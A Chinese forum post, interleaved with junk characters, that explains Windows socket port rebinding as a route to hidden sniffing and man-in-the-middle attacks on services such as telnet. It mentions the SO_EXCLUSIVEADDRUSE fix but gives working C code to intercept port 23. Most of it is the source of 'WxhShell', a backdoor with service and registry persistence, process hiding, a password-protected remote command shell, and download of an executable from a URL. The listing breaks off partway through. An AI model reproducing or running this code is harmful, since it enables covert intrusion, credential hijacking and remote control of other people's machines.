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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: K!/"&RjW.  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O>)<w Ms`  
2 s,[DC  
  saddr.sin_family = AF_INET; Bl5*sfjG  
J/3qJst  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ZMmaM "9  
l[=7<F  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K31G>k@  
FLI\SF<  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L,*KgLG  
z;:c_y!f  
  这意味着什么?意味着可以进行如下的攻击: }q1@[ aE  
3L$_OXx  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -%]O-'  
IYm~pXg^0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %{\|/#>:  
k0IW,z%  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1:<=zqh0  
+g_+JLQ  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;D^%)v /i  
?Xm!;sS0  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 hC ^|  
1iq,Gd-G.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 <7HVkAa  
;Ee!vqD2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u.( WW(/N  
QFOmnbJg  
  #include 5mB%Xh;bg  
  #include #L}Y Z  
  #include uGm~ Oo  
  #include    rQ|^H Nj  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k CkSu-  
  int main() _{CMWo"l  
  { |cpBoU  
  WORD wVersionRequested; qd*3| O^  
  DWORD ret; '< ]:su+  
  WSADATA wsaData; 7.fpGzUM  
  BOOL val; >r%L=22+  
  SOCKADDR_IN saddr; "KQ3EI/g  
  SOCKADDR_IN scaddr; dR"H,$UH  
  int err; 5Hvg%g-c  
  SOCKET s; :TU;%@7  
  SOCKET sc; ~[|&)}q  
  int caddsize; Zw+VcZz3  
  HANDLE mt; jR-`ee}y2  
  DWORD tid;   c"BFkw  
  wVersionRequested = MAKEWORD( 2, 2 ); m(QGP\Ya  
  err = WSAStartup( wVersionRequested, &wsaData ); su]CaHU  
  if ( err != 0 ) { lqFDX d  
  printf("error!WSAStartup failed!\n"); ;cQhs7m(9  
  return -1; cU8Rm\?  
  } }X{#=*$GQ  
  saddr.sin_family = AF_INET; ,4oYKJ$+h  
   x2p}0N  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 DSGtt/n  
D Q7+  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); `>CHE'_  
  saddr.sin_port = htons(23); fE"Q:K6r2  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N9LBji;nH  
  { j-wSsjLk  
  printf("error!socket failed!\n"); R?"sM<3`e  
  return -1; i oX [g  
  } n%; wQ^  
  val = TRUE; 6<sd6SM  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 PW(4-H  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1iWo* +5  
  { f%n],tE6  
  printf("error!setsockopt failed!\n"); o>rsk 6lNi  
  return -1; Jy&O4g/'5  
  } [{.e1s<EK  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z-<091,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 f,:SI&c\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 D<}z7W-  
&u5OL?>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hE>ux"_2/  
  { y<7C!E#b8  
  ret=GetLastError(); \l^L?69  
  printf("error!bind failed!\n"); :^7P. lhK  
  return -1; z3!j>X_w  
  } U ObI&*2  
  listen(s,2); VwfeaDJw  
  while(1) ^):m^w.  
  { r':wq   
  caddsize = sizeof(scaddr); g ycjIy@t  
  //接受连接请求 K)z{R n  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6"@+Jz  
  if(sc!=INVALID_SOCKET) 0* Ox>O>  
  { .!uXhF'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *_G(*yAe(  
  if(mt==NULL) S~BBBD  
  { $OI 6^  
  printf("Thread Creat Failed!\n"); hdky:2^3  
  break; [J0f:&7\  
  } nY(>|!  
  } eF]`?AeWQ  
  CloseHandle(mt); P{ YUW~  
  } Vfkm{*t)  
  closesocket(s); H#pl&/+  
  WSACleanup(); g)7~vm2/,  
  return 0; nx #0*r}5  
  }   )?35!s6  
  DWORD WINAPI ClientThread(LPVOID lpParam) AF ,*bb  
  { HUF],[N  
  SOCKET ss = (SOCKET)lpParam; RTN?[`  
  SOCKET sc; l1(6*+  
  unsigned char buf[4096]; ~JjL411pG  
  SOCKADDR_IN saddr; 2'O2n]{  
  long num; E`#m0Q(8  
  DWORD val; RLBeti>  
  DWORD ret; Z05kn{<a8  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <9zzjgzG{c  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *&$J.KM  
  saddr.sin_family = AF_INET; DONXq]f:,"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~)!yl. H  
  saddr.sin_port = htons(23); ~)5NX 4Po  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) p,_,o3@~  
  { 2tz%A~}4  
  printf("error!socket failed!\n"); T: zO9C/  
  return -1; WXJEAje  
  } Lhg4fuos@)  
  val = 100; &PY~m<F  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0$RZ~  
  { 4n55{ ?Z  
  ret = GetLastError(); j\W"P_dpd  
  return -1; kKbq?}W[  
  } Z>=IP-,>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z) nB  
  { sVdn>$KXk  
  ret = GetLastError(); 50,`=Z  
  return -1; 5^kLNNum  
  } 5%H(AaG*q  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !,D7L6N  
  { a%\6L  
  printf("error!socket connect failed!\n"); R8[l\Y>Ec  
  closesocket(sc); ?HD(EGdx  
  closesocket(ss); Q;9-aZ.H  
  return -1; C\%T|ZDE  
  } #G</RYM~m  
  while(1) xBba&A]=  
  { [k1N-';;;  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 @VdkmqXz  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M  ::  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6"3-8orj   
  num = recv(ss,buf,4096,0); p~(+4uA  
  if(num>0) m Acny$u  
  send(sc,buf,num,0); UZcsMMKH  
  else if(num==0) 2o8:[3C5  
  break; >"LHr&;m&h  
  num = recv(sc,buf,4096,0); ^HS;\8Xvb  
  if(num>0)  :P,g,  
  send(ss,buf,num,0); Uh6LU5  
  else if(num==0) 5 ynBVrYf  
  break; ;Fo%R$y  
  } x9ll0Ht  
  closesocket(ss); TA2HAMx)  
  closesocket(sc); n6AN  
  return 0 ; O} #Ic$38  
  } ^?+qNbK  
|3LD"!rEx  
/-J  
========================================================== .>QzM>zO  
U-F\3a;&  
下边附上一个代码,,WXhSHELL Whoqs_Mm{  
qV;E% XkkS  
========================================================== =sm<B^yj  
X`/GiYTu  
#include "stdafx.h" #@pgB:~lB  
b#uNdq3  
#include <stdio.h> n*gr(S  
#include <string.h> VtP^fM^{  
#include <windows.h> _v/w ,z  
#include <winsock2.h> ;$a+ >  
#include <winsvc.h> W4OL{p-\/  
#include <urlmon.h> Uu_g_b:z  
9Wu c1#  
#pragma comment (lib, "Ws2_32.lib") C8{bqmlm@  
#pragma comment (lib, "urlmon.lib") + 6noQYe  
Q!9  
#define MAX_USER   100 // 最大客户端连接数 Cs:?9G  
#define BUF_SOCK   200 // sock buffer 8 x=J&d  
#define KEY_BUFF   255 // 输入 buffer }Z="}Dg|T  
XA b%V'  
#define REBOOT     0   // 重启 ]et ]Vkg  
#define SHUTDOWN   1   // 关机 :k; c|MW  
D_SXxP[! g  
#define DEF_PORT   5000 // 监听端口 ^"dVz.  
I45 kPfu  
#define REG_LEN     16   // 注册表键长度 ~^{>!wU+  
#define SVC_LEN     80   // NT服务名长度 }l>\D~:M  
lpq) vKM}^  
// 从dll定义API `Wl_yC_*G;  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /EIQMZuYp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Ob~7w[n3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]QU 9|1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `p!&>,lrk  
MV{\:l}y  
// wxhshell配置信息 [ Xa,|  
struct WSCFG { 5VS};&f  
  int ws_port;         // 监听端口 Ie<H4G5Vh  
  char ws_passstr[REG_LEN]; // 口令 T\ *#9a  
  int ws_autoins;       // 安装标记, 1=yes 0=no A ".v+  
  char ws_regname[REG_LEN]; // 注册表键名 T }}T`Ce  
  char ws_svcname[REG_LEN]; // 服务名 kk`K)PESi  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^l:~r2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <<=.;`(/v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8A jQPDn+  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f]pHJVgFV  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" AX%N:)_$|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m&P B5s\=  
@=7[KMb  
}; 'fK3L<$z#m  
vw'xmzgA  
// default Wxhshell configuration cv{icz,%w  
struct WSCFG wscfg={DEF_PORT, 3u 'VPF2  
    "xuhuanlingzhe", 7"_m?c8  
    1, +Rj8 "p$K  
    "Wxhshell", vh$If0  
    "Wxhshell", sH'IA~7   
            "WxhShell Service", +P &S0/  
    "Wrsky Windows CmdShell Service", oSf6J:?*e  
    "Please Input Your Password: ", 7z2Q!0Sz  
  1, 5gq  
  "http://www.wrsky.com/wxhshell.exe", k/Z]zZC  
  "Wxhshell.exe" 4 -CGe  
    }; sck.2-f"  
=dT  #x  
// 消息定义模块 (+CNs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +F?}<P_v  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tP:ER  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; bMA0#e2  
char *msg_ws_ext="\n\rExit."; <e?1&56  
char *msg_ws_end="\n\rQuit."; *@VS^JB  
char *msg_ws_boot="\n\rReboot..."; 2/iBk'd  
char *msg_ws_poff="\n\rShutdown..."; bhl9:`s  
char *msg_ws_down="\n\rSave to "; qyKI.X3n*  
*| 9:  
char *msg_ws_err="\n\rErr!"; !b"2]Qv  
char *msg_ws_ok="\n\rOK!"; w t6&N{@  
aD&4C -,1  
char ExeFile[MAX_PATH]; /;5/7Bvj  
int nUser = 0; oO3X>y{gN  
HANDLE handles[MAX_USER]; .iV-Y*3<  
int OsIsNt; ]@I>OcH  
SIZ&0V  
SERVICE_STATUS       serviceStatus; HdR TdV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >1qum'  
8DuD1hZq  
// 函数声明 !C;$5(k  
int Install(void); dHkI9;  
int Uninstall(void); .MS41 E!  
int DownloadFile(char *sURL, SOCKET wsh); hz+O.k],?  
int Boot(int flag); rQ-,mq  
void HideProc(void); Rb_%vOM  
int GetOsVer(void); FvJkb!5*e_  
int Wxhshell(SOCKET wsl); cCuK?3V4K  
void TalkWithClient(void *cs); rw$ =!iyO  
int CmdShell(SOCKET sock); N}ugI`:  
int StartFromService(void); ?{;7\1 [4  
int StartWxhshell(LPSTR lpCmdLine); IkuE|  
X%98k'h.y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?orLc,pU^  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); b&*)C#7/T  
qoP /` Y6  
// 数据结构和表定义 ]i/Bq!d l  
SERVICE_TABLE_ENTRY DispatchTable[] = M+VAol}1  
{ Zet80|q  
{wscfg.ws_svcname, NTServiceMain}, vd [?73:C  
{NULL, NULL} r h c&#JS  
}; V/+D]  
5K,=S  
// 自我安装 Sc?q}tt^C  
int Install(void) aF{1V \e  
{ =`k', V_  
  char svExeFile[MAX_PATH]; =p[a Cb i  
  HKEY key; %,+&Kl I  
  strcpy(svExeFile,ExeFile); z.~jqxA9  
(j-_iOQ]i+  
// 如果是win9x系统,修改注册表设为自启动 m@W>ku  
if(!OsIsNt) { Eq=j+ch7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gle<{ `   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 48,uO !  
  RegCloseKey(key); 3ESrd"W=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !A:d9 k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d f j;e%H  
  RegCloseKey(key); ]m :Y|,:6  
  return 0; xnDst9%  
    } 6@;sOiN+  
  } HPX JRQBE  
} uE}$ZBi q  
else { cR=o!2O  
tZY6{,K%4  
// 如果是NT以上系统,安装为系统服务 ;YZ'd"0v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C^fn[plL  
if (schSCManager!=0) d[YG&.}+8j  
{ E5IS<.  
  SC_HANDLE schService = CreateService 61}eB/;7  
  ( '?$R YU,  
  schSCManager, k+zskfo  
  wscfg.ws_svcname, +*IRI/KUD  
  wscfg.ws_svcdisp,  6lL^/$]  
  SERVICE_ALL_ACCESS, 8<{i=V*x4  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \ cdns;  
  SERVICE_AUTO_START, T0@$6&b%\z  
  SERVICE_ERROR_NORMAL, as(Zb*PdH  
  svExeFile, ><qA+/4]_  
  NULL, Nj.;mr<  
  NULL, IN,=v+A  
  NULL, 9w6 uoM  
  NULL, j XYr&F  
  NULL 3a'#Z4Z-  
  ); <rFh93  
  if (schService!=0) =z4J[8bb  
  { (v&iXD5t  
  CloseServiceHandle(schService); (3Z;c_N  
  CloseServiceHandle(schSCManager); !xU[BCbfYV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8v)iOPmDC  
  strcat(svExeFile,wscfg.ws_svcname); 7#7AK}   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { & @${@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9TbbIP1  
  RegCloseKey(key); T@Z-;^aV  
  return 0; x->+w Jm@s  
    } X6j:TF  
  } J(SGaHm@  
  CloseServiceHandle(schSCManager); * ).YU[i  
} y@r0"cvz9  
} J$d']%Dwb  
!AG {`[b  
return 1; f VJWW):  
} - LB}=  
72vp6/;)  
// 自我卸载 )SJ"IY\P  
int Uninstall(void) z0UtKE^b  
{ +~sqv?8  
  HKEY key; dU2:H}  
k\r^GB  
if(!OsIsNt) { +$F,!rV-s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S~>R}=  
  RegDeleteValue(key,wscfg.ws_regname); iz0:  
  RegCloseKey(key); fX2OH)6U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hzz v 6k  
  RegDeleteValue(key,wscfg.ws_regname); X6BOB?  
  RegCloseKey(key); j_h0 hm]  
  return 0; MpTOC&NG%s  
  } s{*bFA Z1F  
} O Q$C#:?  
} r5y*SoD!  
else { D=SjCmG  
 `fE'$2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); i1K$~  
if (schSCManager!=0) f`iDF+h<6  
{ !JBj%|!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u'^kpr`y  
  if (schService!=0) MY^o0N  
  { ;0`IFtz  
  if(DeleteService(schService)!=0) { >I',%v\?@  
  CloseServiceHandle(schService); LQR^lD+_=  
  CloseServiceHandle(schSCManager); =&<d4'(Qk  
  return 0; x<7?  
  } ;#^ o5ht  
  CloseServiceHandle(schService); r`pf%9k  
  } X]o"vx%C  
  CloseServiceHandle(schSCManager); '2UQN7@d  
} 06?d#{?M1o  
} bz1AmNZG  
qt6@]Y  
return 1; [NV/*>"j&  
} j<R&?*  
>WLHw!I!6  
// 从指定url下载文件 nFWiS~(#sW  
int DownloadFile(char *sURL, SOCKET wsh) V9Dq<y-y  
{ Vt,P.CfdC  
  HRESULT hr; zZP/C   
char seps[]= "/"; 5#y_EpL"  
char *token; Zy.3yQM9i  
char *file; TM|PwY  
char myURL[MAX_PATH]; <AK9HPxP  
char myFILE[MAX_PATH]; Hv2[=elc  
cc8Q}   
strcpy(myURL,sURL); 4aW[`  
  token=strtok(myURL,seps); $/$Hi U`.  
  while(token!=NULL) 6J">@+  
  { ]u:_r)T  
    file=token; C=IN "  
  token=strtok(NULL,seps); s< Fp17  
  } ,L C(Ax'.F  
@ 2On`~C`  
GetCurrentDirectory(MAX_PATH,myFILE); X4+H8],)  
strcat(myFILE, "\\"); R&$fWV;'  
strcat(myFILE, file); Xoha.6$l5  
  send(wsh,myFILE,strlen(myFILE),0); !R@jbM  
send(wsh,"...",3,0); ,9MNB3  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); oS}fr?  
  if(hr==S_OK) 5" (FilM  
return 0; abCxB^5VL  
else suYbD!`(  
return 1; 'Hs*  
4?bvJJuf)  
} *_P'>V#p  
J#q^CWN3R  
// 系统电源模块 ,gM:s}l!dJ  
int Boot(int flag) YQWq*o^:  
{ .8GXpt^U(  
  HANDLE hToken; "d /uyS$6  
  TOKEN_PRIVILEGES tkp; -8R SE4)  
uvw1 _j?  
  if(OsIsNt) { oX'@,(6)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); nyxoa/  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -f1lu*3\  
    tkp.PrivilegeCount = 1; Z[0/x.pp$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; cmAdQ)(Kzd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); m&z(2yb1  
if(flag==REBOOT) { .$ YYN/+W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6{0MprY  
  return 0; REh\WgV!u  
} URt+MTU[  
else { V F b  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) S]Di1E^r;_  
  return 0; U3{4GmrT  
} _/u(:  
  } ((<\VQ,>(  
  else { J1Az+m  
if(flag==REBOOT) { )o-mM tPj  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1Dhu 5ht  
  return 0; (_6JQn  
} #k[Y(_  
else { yk(r R  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) iXWB  
  return 0; Ix<!0! vk  
} UoUQ6Ij  
} TtH!5{$s  
#sk~L21A  
return 1; l;&kX6 w  
} Do5.  
{oR@'^N  
// win9x进程隐藏模块 `M(st%@n  
void HideProc(void) !w@i,zqu  
{ h%NM%;"H/  
"@|rU4Y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); t;-F]  
  if ( hKernel != NULL ) X[f)0w%  
  { ~B? Wg!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B(5>H2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); zL3zvOhu}  
    FreeLibrary(hKernel); SoHaGQox  
  } k*!iUz{]  
+@H{H2J4  
return; M{jq6c  
} `%EcQ}Nr  
*-uzsq.W  
// 获取操作系统版本 p )]x,F  
int GetOsVer(void) & JJ*?Dl  
{ _ n1:v~  
  OSVERSIONINFO winfo; shP}T[<  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); F2ISg'  
  GetVersionEx(&winfo); z#rp8-HUDS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OVc)PMp  
  return 1; 2-W y@\  
  else >oaL-01i  
  return 0; o^MoU2c  
} ZU;jz[}  
zSu,S4m_;  
// 客户端句柄模块 wXKt)3dmu  
int Wxhshell(SOCKET wsl) TJ_6:;4,|_  
{ Zb|a\z8?  
  SOCKET wsh; Mn<s9ITS-  
  struct sockaddr_in client;  qmenj  
  DWORD myID; LR\8M(rtvH  
pd & HC  
  while(nUser<MAX_USER) R@/"B?`(f  
{ >3&V"^r(|  
  int nSize=sizeof(client); 3 `mtc@*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >,I'S2_Zl  
  if(wsh==INVALID_SOCKET) return 1; #6l(2d  
O6ugN-d>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);  M%W#0  
if(handles[nUser]==0) 7s!rer>  
  closesocket(wsh); AT1{D!b  
else N93R(x)%  
  nUser++; xU6dRjYhH9  
  } TeO'E<@  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); kHhku!CH  
|JP'j1 Ka  
  return 0; e@ $|xa")  
} oA7|s1  
N 7Y X  
// 关闭 socket  Zy8tI#  
void CloseIt(SOCKET wsh) 5zkj ;?s  
{ ]VE3u_kR  
closesocket(wsh); o~q.j_Sa  
nUser--; -5|el3%)  
ExitThread(0); %6m' |(-  
} ir>+p>s.  
|F<%gJ  
// 客户端请求句柄 vts"  
void TalkWithClient(void *cs) c': 4e)  
{ X8?@Y@  
hY !>>  
  SOCKET wsh=(SOCKET)cs; $b2~H+u(  
  char pwd[SVC_LEN]; :XPat9 3w  
  char cmd[KEY_BUFF]; \pTv;(  
char chr[1]; {XUSw8W'  
int i,j; kBk2mMZ  
oDJ &{N|  
  while (nUser < MAX_USER) { ! hEZV&y  
JG1q5j##]b  
if(wscfg.ws_passstr) { s0/m qZ]s  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2tCw{Om*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VB T 66kV  
  //ZeroMemory(pwd,KEY_BUFF); W tHJG5  
      i=0; q5@Nd3~h  
  while(i<SVC_LEN) { 51H6 W/$  
|W@Ko%om  
  // 设置超时 {?EmO+![}  
  fd_set FdRead; k B4Fz  
  struct timeval TimeOut; 8 Gy*BpmJn  
  FD_ZERO(&FdRead); ;l `Ufx  
  FD_SET(wsh,&FdRead); @ 'N $5  
  TimeOut.tv_sec=8; rOO10g  
  TimeOut.tv_usec=0; a|#pl!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1 XJZuv,T:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [7[Qw]J  
[KbLEMrPba  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); NWQ7%~#k*  
  pwd=chr[0]; T4gfQ6#  
  if(chr[0]==0xd || chr[0]==0xa) { qLc&.O.=  
  pwd=0; BI<9xl]a  
  break; F$kiSjh9aJ  
  } 8}4.x3uw  
  i++; =MD)F  
    } aI`d  
Yl?s^]SFU  
  // 如果是非法用户,关闭 socket :,j^ei  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); b9 li   
} <w8H[y"c  
ImH9 F\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0Q8iX)  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g}K/ba'  
,1lW`Krx  
while(1) { '&K' 0qG  
QMrH%Y  
  ZeroMemory(cmd,KEY_BUFF); E?|NYu#I6  
X%fLV(  
      // 自动支持客户端 telnet标准   S1'?"zAmd  
  j=0; _^zs(  
  while(j<KEY_BUFF) { \yxGE+~P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1p&=tN  
  cmd[j]=chr[0]; t}pYSSTz  
  if(chr[0]==0xa || chr[0]==0xd) { Gv }  
  cmd[j]=0; },Grg~l  
  break; G{Ju2HY  
  } )J+rt^4|  
  j++; 7Q~W}`Qv'  
    } 0/fZDQH  
v$(Z}Hg  
  // 下载文件 [Fk|m1i!  
  if(strstr(cmd,"http://")) { B4+u/hkbh?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); -49I3&  
  if(DownloadFile(cmd,wsh)) p|a`Q5z!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I3T;|;P7  
  else DW:\6k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [eTEK W]  
  } o8%o68py  
  else { MTgf.  
[z= !OFdE  
    switch(cmd[0]) { ZC<EPUV(  
  Sz')1<  
  // 帮助 p:{L fQ  
  case '?': { o54=^@>O<j  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xcQ^y}JN  
    break; D(dV{^} 9  
  } rwh 4/h^S  
  // 安装 :J2^Y4l2  
  case 'i': { f><V;D#  
    if(Install()) &G\C[L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lU&2K$`  
    else 9(vp`Z8B4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EQZ/v gho  
    break; .RmoO\ ,Gm  
    } n-qle5sj  
  // 卸载 3!QXzT$E  
  case 'r': { Xa$%`  
    if(Uninstall()) *H=h7ESq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T%Zfo7  
    else 6Rq +=X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U-f8 D  
    break; nKtRJ,>  
    } * 0JF|'  
  // 显示 wxhshell 所在路径 w( @QRd{  
  case 'p': { j>v8i bS(  
    char svExeFile[MAX_PATH]; {CVZ7tU7]  
    strcpy(svExeFile,"\n\r"); C$LRX7Z`o  
      strcat(svExeFile,ExeFile); X9^q-3&60  
        send(wsh,svExeFile,strlen(svExeFile),0); bmKvvq  
    break; dpt P(H  
    } \RFA?PuY  
  // 重启 /; 21?o  
  case 'b': { &f?JtpB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fmUrwI1 %  
    if(Boot(REBOOT)) ^r7KEeVD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .i` -t"  
    else { 78?{;iNv  
    closesocket(wsh); L6!Hv{ijn  
    ExitThread(0); F4Cq85#  
    } }20tdD ~  
    break; 2@HmZ!|Q  
    } Nr]guC?rE  
  // 关机 [=Nv=d<[p  
  case 'd': { zqI|VH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7/BjWU5*  
